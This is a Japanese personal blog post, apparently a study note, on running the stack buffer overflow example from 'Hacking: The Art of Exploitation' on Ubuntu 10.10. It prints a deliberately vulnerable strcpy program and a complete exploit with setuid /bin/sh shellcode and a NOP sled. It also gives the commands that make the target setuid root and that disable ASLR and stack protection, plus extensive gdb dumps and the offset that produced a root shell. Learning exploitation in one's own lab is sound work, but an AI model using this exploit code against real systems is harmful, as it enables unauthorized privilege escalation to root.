その時々

その時々で違うんです。特に決まっていないんです。

Ubuntu10.10でHACKING美しき策謀のexploit.cをテスト

相当苦労しましたが一歩前進したので覚え書きです。
ちょっと長くなりそうです。

まずは本に掲載されている脆弱性のあるソースです。

vlun.c

#include <stdio.h>

int main(int argc, char *argv[]){
  char buffer[500];
  strcpy(buffer, argv[1]);
  return 0;
}

そしてアタックコードです。
exploit.c

#include <stdlib.h>

char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void){
  __asm__("movl %esp, %eax");
}

int main(int argc, char *argv[]){

  int i, offset;
  long esp, ret, *addr_ptr;
  char *buffer, *ptr;

  offset = 0;
  esp = sp();
  ret = esp - offset;

  printf("sp = 0x%x\n",esp);
  printf("offset = 0x%x\n",offset);
  printf("ret = 0x%x\n",ret);

  buffer = malloc(600);

  ptr = buffer;
  addr_ptr = (long *)ptr;

  for(i=0; i<600; i += 4){
    *(addr_ptr++) = ret;
  }

  for(i=0; i<200; i++){
    buffer[i] = '\x90';
  }

  ptr = buffer + 200;
  for(i=0; i<strlen(shellcode); i++){
    *(ptr++) = shellcode[i];

  }

  buffer[600-1] = 0;

  execl("./vuln", "vuln", buffer, 0);

  free(buffer);

  return 0;
}

脆弱性のあるプログラムを更に危険にします。

$sudo chown root vuln
$sudo chmod +s vuln

これは何をしているかっていうとvulnのオーナーをrootにしてsuid権限を付けているわけですよ。
passwdコマンドのように誰でもroot権限で実行できるプログラムにするわけです。
ただもちろんこのプログラムを実行してもrootでなんでもできるわけではありません。
passwdコマンドでもそうですよね。

それからアタックコードは簡単に説明すると脆弱性のあるプログラムのstrcpyをバッファオーバーフローさせて
スタックの戻りアドレスがある箇所を書き換えます。
書き換えたアドレスにジャンプする位置に機械語を埋め込まれているのでその機械語が実行されます。
その機械語はshを実行する命令なので、rootでshを実行するのです。

このコードそのまま実行するだけでは上手いこと動きません。

UbuntuといいますかLinuxgccがセキュアになってきているからです。
まず次の機構が働いています。
ALSRというスタックやヒープのアドレス空間をランダムに配置するのです。
そうするとスタックに機械語を埋め込んでそこへジャンプさせるのが難しくな
ります。
もうひとつはStackProtecter。これはスタックが破壊されていないかチェック
するためにカナリヤ値などを埋め込んだりするやつっぽいです。
詳しいことは分りません。
あと一つ。
スタック自体が実行できなくなっているのです。

これらを回避するには次のやりかたが必要です。

$sudo sysctl -w kernel.randomize_va_space=0

これでALSRを止めます。

あとはgccコンパイラオプションで設定できます。

$gcc -fno-stack-protector -z execstack -o exploit exploit.c

これで出来るかと思ったのですがなかなか出来ません。

$ ./exploit
sp = 0xbffff338
offset = 0x0
ret = 0xbffff338
セグメンテーション違反です

こうなって終わってしまいます。

それでgdbで追ってみたのです。
実際にはこれよりも前にひとつのソースにまとめてみたり機械語を別のものに
変えてみたりいろいろ試してみたりしたのですが、
とりあえずキーとなったのはこの内容です。

(gdb) b main
Breakpoint 1 at 0x8048495: file exploit.c, line 19.
(gdb) r
Starting program: /home/hogehoge/exploit

Breakpoint 1, main (argc=1, argv=0xbffff944) at exploit.c:19
(gdb) disas
Dump of assembler code for function main:
   0x0804848b <+0>:	push   %ebp
   0x0804848c <+1>:	mov    %esp,%ebp
   0x0804848e <+3>:	and    $0xfffffff0,%esp
   0x08048491 <+6>:	push   %ebx
   0x08048492 <+7>:	sub    $0x3c,%esp
=> 0x08048495 <+10>:	movl   $0x0,0x18(%esp)
   0x0804849d <+18>:	call   0x8048484 <sp>
   0x080484a2 <+23>:	mov    %eax,0x1c(%esp)
   0x080484a6 <+27>:	mov    0x18(%esp),%eax
   0x080484aa <+31>:	mov    0x1c(%esp),%edx
   0x080484ae <+35>:	mov    %edx,%ecx
   0x080484b0 <+37>:	sub    %eax,%ecx
   0x080484b2 <+39>:	mov    %ecx,%eax
   0x080484b4 <+41>:	mov    %eax,0x20(%esp)
   0x080484b8 <+45>:	mov    0x1c(%esp),%eax
   0x080484bc <+49>:	mov    %eax,0x4(%esp)
   0x080484c0 <+53>:	movl   $0x80486b0,(%esp)
   0x080484c7 <+60>:	call   0x80483a4 <printf@plt>
   0x080484cc <+65>:	mov    0x18(%esp),%eax
   0x080484d0 <+69>:	mov    %eax,0x4(%esp)
   0x080484d4 <+73>:	movl   $0x80486bb,(%esp)
   0x080484db <+80>:	call   0x80483a4 <printf@plt>
   0x080484e0 <+85>:	mov    0x20(%esp),%eax
   0x080484e4 <+89>:	mov    %eax,0x4(%esp)
   0x080484e8 <+93>:	movl   $0x80486ca,(%esp)
   0x080484ef <+100>:	call   0x80483a4 <printf@plt>
   0x080484f4 <+105>:	movl   $0x258,(%esp)
   0x080484fb <+112>:	call   0x80483b4 <malloc@plt>
   0x08048500 <+117>:	mov    %eax,0x28(%esp)
   0x08048504 <+121>:	mov    0x28(%esp),%eax
   0x08048508 <+125>:	mov    %eax,0x2c(%esp)
   0x0804850c <+129>:	mov    0x2c(%esp),%eax
   0x08048510 <+133>:	mov    %eax,0x24(%esp)
   0x08048514 <+137>:	movl   $0x0,0x14(%esp)
   0x0804851c <+145>:	jmp    0x8048532 <main+167>
   0x0804851e <+147>:	mov    0x24(%esp),%eax
   0x08048522 <+151>:	mov    0x20(%esp),%edx
   0x08048526 <+155>:	mov    %edx,(%eax)
   0x08048528 <+157>:	addl   $0x4,0x24(%esp)
   0x0804852d <+162>:	addl   $0x4,0x14(%esp)
   0x08048532 <+167>:	cmpl   $0x257,0x14(%esp)
   0x0804853a <+175>:	jle    0x804851e <main+147>
   0x0804853c <+177>:	movl   $0x0,0x14(%esp)
   0x08048544 <+185>:	jmp    0x8048556 <main+203>
   0x08048546 <+187>:	mov    0x14(%esp),%eax
   0x0804854a <+191>:	add    0x28(%esp),%eax
   0x0804854e <+195>:	movb   $0x90,(%eax)
   0x08048551 <+198>:	addl   $0x1,0x14(%esp)
   0x08048556 <+203>:	cmpl   $0xc7,0x14(%esp)
   0x0804855e <+211>:	jle    0x8048546 <main+187>
   0x08048560 <+213>:	mov    0x28(%esp),%eax
   0x08048564 <+217>:	add    $0xc8,%eax
   0x08048569 <+222>:	mov    %eax,0x2c(%esp)
   0x0804856d <+226>:	movl   $0x0,0x14(%esp)
   0x08048575 <+234>:	jmp    0x8048592 <main+263>
   0x08048577 <+236>:	mov    0x14(%esp),%eax
   0x0804857b <+240>:	movzbl 0x804a040(%eax),%edx
   0x08048582 <+247>:	mov    0x2c(%esp),%eax
   0x08048586 <+251>:	mov    %dl,(%eax)
   0x08048588 <+253>:	addl   $0x1,0x2c(%esp)
   0x0804858d <+258>:	addl   $0x1,0x14(%esp)
   0x08048592 <+263>:	mov    0x14(%esp),%ebx
   0x08048596 <+267>:	movl   $0x804a040,(%esp)
   0x0804859d <+274>:	call   0x8048394 <strlen@plt>
   0x080485a2 <+279>:	cmp    %eax,%ebx
   0x080485a4 <+281>:	jb     0x8048577 <main+236>
   0x080485a6 <+283>:	mov    0x28(%esp),%eax
   0x080485aa <+287>:	add    $0x257,%eax
   0x080485af <+292>:	movb   $0x0,(%eax)
   0x080485b2 <+295>:	movl   $0x0,0xc(%esp)
   0x080485ba <+303>:	mov    0x28(%esp),%eax
   0x080485be <+307>:	mov    %eax,0x8(%esp)
   0x080485c2 <+311>:	movl   $0x80486d6,0x4(%esp)
   0x080485ca <+319>:	movl   $0x80486db,(%esp)
   0x080485d1 <+326>:	call   0x8048374 <execl@plt>
   0x080485d6 <+331>:	mov    0x28(%esp),%eax
   0x080485da <+335>:	mov    %eax,(%esp)
   0x080485dd <+338>:	call   0x8048384 <free@plt>
   0x080485e2 <+343>:	mov    $0x0,%eax
   0x080485e7 <+348>:	add    $0x3c,%esp
   0x080485ea <+351>:	pop    %ebx
   0x080485eb <+352>:	mov    %ebp,%esp
   0x080485ed <+354>:	pop    %ebp
   0x080485ee <+355>:	ret    
End of assembler dump.
(gdb) s
(gdb) 
sp () at exploit.c:10
(gdb) 
(gdb) 
main (argc=1, argv=0xbffff944) at exploit.c:21
(gdb) 
(gdb) 
sp = 0xbffff848
(gdb) 
offset = 0x0
(gdb) 
ret = 0xbffff848
(gdb) 
(gdb) 
(gdb) 
(gdb) 
(gdb) u
(gdb) 
(gdb) 
(gdb) 
(gdb) 
(gdb) 
(gdb) 
(gdb) 
(gdb) 
(gdb) s
(gdb) p buffer
$1 = 0x804b008 "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"...
(gdb) p *buffer
$2 = -112 '\220'
(gdb) x/32xw 0x804b008
0x804b008:	0x90909090	0x90909090	0x90909090	0x90909090
0x804b018:	0x90909090	0x90909090	0x90909090	0x90909090
0x804b028:	0x90909090	0x90909090	0x90909090	0x90909090
0x804b038:	0x90909090	0x90909090	0x90909090	0x90909090
0x804b048:	0x90909090	0x90909090	0x90909090	0x90909090
0x804b058:	0x90909090	0x90909090	0x90909090	0x90909090
0x804b068:	0x90909090	0x90909090	0x90909090	0x90909090
0x804b078:	0x90909090	0x90909090	0x90909090	0x90909090
(gdb) 
0x804b088:	0x90909090	0x90909090	0x90909090	0x90909090
0x804b098:	0x90909090	0x90909090	0x90909090	0x90909090
0x804b0a8:	0x90909090	0x90909090	0x90909090	0x90909090
0x804b0b8:	0x90909090	0x90909090	0x90909090	0x90909090
0x804b0c8:	0x90909090	0x90909090	0x46b0c031	0xc931db31
0x804b0d8:	0x16eb80cd	0x88c0315b	0x5b890743	0x0c438908
0x804b0e8:	0x4b8d0bb0	0x0c538d08	0xe5e880cd	0x2fffffff
0x804b0f8:	0x2f6e6962	0xbfff6873	0xbffff848	0xbffff848
(gdb) 
0x804b108:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b118:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b128:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b138:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b148:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b158:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b168:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b178:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
(gdb) 
0x804b188:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b198:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b1a8:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b1b8:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b1c8:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b1d8:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b1e8:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b1f8:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
(gdb) 
0x804b208:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b218:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b228:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b238:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b248:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0x804b258:	0xbffff848	0x00fff848	0x00000000	0x00020da1
0x804b268:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b278:	0x00000000	0x00000000	0x00000000	0x00000000

とりあえずbufferはこんなふうにできます。

vulnをexeclするところ

(gdb) s
process 28573 is executing new program: /home/hogehoge/vuln

Breakpoint 1, 0x080483c7 in main ()
(gdb) i r
eax            0xbffff734	-1073744076
ecx            0x53880be3	1401424867
edx            0x2	2
ebx            0xb7fc8ff4	-1208184844
esp            0xbffff688	0xbffff688
ebp            0xbffff688	0xbffff688
esi            0x0	0
edi            0x0	0
eip            0x80483c7	0x80483c7 <main+3>
eflags         0x200246	[ PF ZF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) disas
Dump of assembler code for function main:
   0x080483c4 <+0>:	push   %ebp
   0x080483c5 <+1>:	mov    %esp,%ebp
=> 0x080483c7 <+3>:	and    $0xfffffff0,%esp
   0x080483ca <+6>:	sub    $0x210,%esp
   0x080483d0 <+12>:	mov    0xc(%ebp),%eax
   0x080483d3 <+15>:	add    $0x4,%eax
   0x080483d6 <+18>:	mov    (%eax),%eax
   0x080483d8 <+20>:	mov    %eax,0x4(%esp)
   0x080483dc <+24>:	lea    0x1c(%esp),%eax
   0x080483e0 <+28>:	mov    %eax,(%esp)
   0x080483e3 <+31>:	call   0x80482f4 <strcpy@plt>
   0x080483e8 <+36>:	mov    $0x0,%eax
   0x080483ed <+41>:	leave  
   0x080483ee <+42>:	ret    
End of assembler dump.
(gdb) s
Single stepping until exit from function main,
which has no line number information.
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0xd: 入力/出力エラーです.

0xbffff848 in ?? ()

なんかのエラーがでました。

この状態を見てみます。

(gdb) i r
eax            0x0	0
ecx            0x0	0
edx            0x258	600
ebx            0xb7fc8ff4	-1208184844
esp            0xbffff690	0xbffff690
ebp            0xbffff848	0xbffff848
esi            0x0	0
edi            0x0	0
eip            0xbffff848	0xbffff848
eflags         0x200246	[ PF ZF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/32xw $esp
0xbffff690:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0xbffff6a0:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0xbffff6b0:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0xbffff6c0:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0xbffff6d0:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0xbffff6e0:	0x00fff848	0x00000000	0x00000002	0x08048310
0xbffff6f0:	0x00000000	0xb7ff5d90	0xb7e86c0b	0xb7ffeff4
0xbffff700:	0x00000002	0x08048310	0x00000000	0x08048331
(gdb) x/32xw $esp-200
0xbffff5c8:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0xbffff5d8:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0xbffff5e8:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0xbffff5f8:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0xbffff608:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0xbffff618:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0xbffff628:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
0xbffff638:	0xbffff848	0xbffff848	0xbffff848	0xbffff848
(gdb) x/32xw $esp-400
0xbffff500:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff510:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff520:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff530:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff540:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff550:	0x90909090	0x46b0c031	0xc931db31	0x16eb80cd
0xbffff560:	0x88c0315b	0x5b890743	0x0c438908	0x4b8d0bb0
0xbffff570:	0x0c538d08	0xe5e880cd	0x2fffffff	0x2f6e6962

なんかスタックよりだいぶ前にbufferが入ってるっぽいです。
eipが0xbffff848なので実行したいコードよりも後ろの方にいってるんですね。
そこで exploit.cのoffsetというところで低位アドレスの方へジャンプするよ
うに徐々にずらしていってみました。
そうすると
offset=1000にするときちんと機械語が実行されてrootがとれたのです。

何か他にもセキュリティでもあるんじゃないかと思うんですよ。
それが何かは分かりませんが。
機械語も実行されることも分かりましたしこの辺で次へ進みたいとおもいます。




参考URL
http://d.hatena.ne.jp/tomitake_flash/20100411/1270996605
http://ruffnex.oc.to/defolos/exploiting/sas-exp.html

■追記 2010.1.21
vulnもstackprotectorとexecstackをオプションで指定しないと動かないです。

$gcc -fno-stack-protector -z execstack -o vuln vuln.c